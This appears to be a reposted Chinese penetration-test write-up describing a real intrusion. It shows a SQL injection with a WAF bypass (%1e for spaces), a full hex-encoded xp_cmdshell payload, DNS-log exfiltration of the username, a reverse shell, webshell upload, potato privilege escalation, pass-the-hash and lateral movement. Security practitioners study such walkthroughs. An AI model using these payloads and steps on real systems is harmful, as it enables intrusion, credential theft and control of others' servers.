打开页面是一个登录点,下面有个忘记密码的点,这个点是通过手机号找回密码,直接单引号就发现了一个sql注入。
直接上sqlmap,一直报红(忘记截图),使用-v 6参数查看每个数据包的返回结果,发现很多数据包都是403,重新回到burp里面用' and 'a'='a这个payload理论上不会出问题,但一直是403,403应该就是waf导致的了因为很多waf单独一个单引号不拦带上and就会拦截,用sqlmap的--tamper space2comment尝试绕过waf,也无法绕过。然后在burp中使用%0a等替换空格观察反应,结果也是403。直接用burp fuzz最终得到%1e可替换空格,由于不想写tamper,直接设置sqlmap走burp的代理,然后使用burp把数据包中的%20替换成%1e,替换之后sqlmap可以跑出来数据库是sqlsrever,但无法跑出注入来,在burp中观察发现还是有许多数据包是403被拦截。懒得绕了,sqlserver最好的利用方式就是os-shell,直接用xp_cmdshell盲打,先开启xp_cmdhsell再执行命令。
可见成功获取dnslog,但执行ping %USERNAME%.dnslog.cn的时候却没有反应,这应该是特殊字符导致的,处理方式可以参考sqlmap的paylaod,找个靶场os-shell的时候使用-v 3把payload记录下来可以看见sqlmap是通过hex的形式执行的命令,把payload copy下来即可执行任意命令。
phone=5888888888'%3BDECLARE%1e%40mcvh%1eVARCHAR(8000)%3BSET%1e%40mcvh%3D0x70696E67207878782E33652E646E736C6F672E636E%3BEXEC%1emaster..xp_cmdshell%1e%40mcvh--
这个时候想到直接远程下载cs马然后执行上线,考虑到可能存在360等情况先使用绕过360下载文件的方式下载文件,并使用普通的shellcode loader做免杀。使用cs的文件投递功能,可以发现cs的web日志中收到了下载文件的请求,说明文件是有下载到对面服务器的,但是无论如何都无法上线(马测试过没问题)。
这个时候考虑到是不是被杀了,由于不知道是什么杀毒,于是想到可以写一个简单的c2,只实现执行命令并回显的功能。之前有写过一个但是没存,于是在github找到https://github.com/cfayetmarius/reverse_cmd这个项目,考虑到有waf于是简单的改了改将数据进行base64加密后传输,成功获取到反弹的shell,并通过tasklist发现存在卡巴斯基,怪不得之前不上线,因为简单的shellcode loader无法bypass avp.exe。
这个时候有两种思路,要么搞免杀的提权,要么直接上代理打内网。这里我选择同时进行,先搭建好代理给队友,我继续提权。提权就得用到免杀的提权工具,由于没有现成的提权工具,其次现在这个shell操作很不方便于是准备碰碰运气看看能不能搞个webshell,因为站点是ASPX的所以可以使用c# 内存加载potato提权。运气不错在D盘下找到了网站根目录。
在网站的多个目录下写入了aspx文件访问都是404,通过dir命令也没找到该网站命令存在aspx文件,有可能这个站压根不支持aspx和asp或者是nat映射的时候不允许映射aspx和asp,通过代理访问asp发现是404.3,这应该就是不支持asp和aspx了,由于iis支持的后缀挺多的,最终通过上传ashx后缀的马成功获取webshelll,这个shell也不是一帆风顺,通过互联网一直没连上,通过代理在内网一开始也没连上,最后多连了两次就连上了。最后使用哥斯拉的sweetpotato提权成功。
通过注册表抓到hash之后,批量pth。最终发现192.168.2.6可以登录成功并能用atexec执行命令。尝试登录远程桌面却一直报错。最后使用第三方软件anydesk尝试使用登陆(参考以前的文章),最终登陆成功。并在桌面发现卡巴斯基的管理端,其中远程桌面功能也无法使用,但是可以安装软件,通过安装软件可成功获取服务器权限。
由于没参加该项目,在负责其他的项目的同时兼职打的,没注意到vcenter和manager这两个主机,最后随便选了个主机上线截图。后续也没继续深入。
文章来源:作者:djhons, 转载自FreeBuf.COM
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干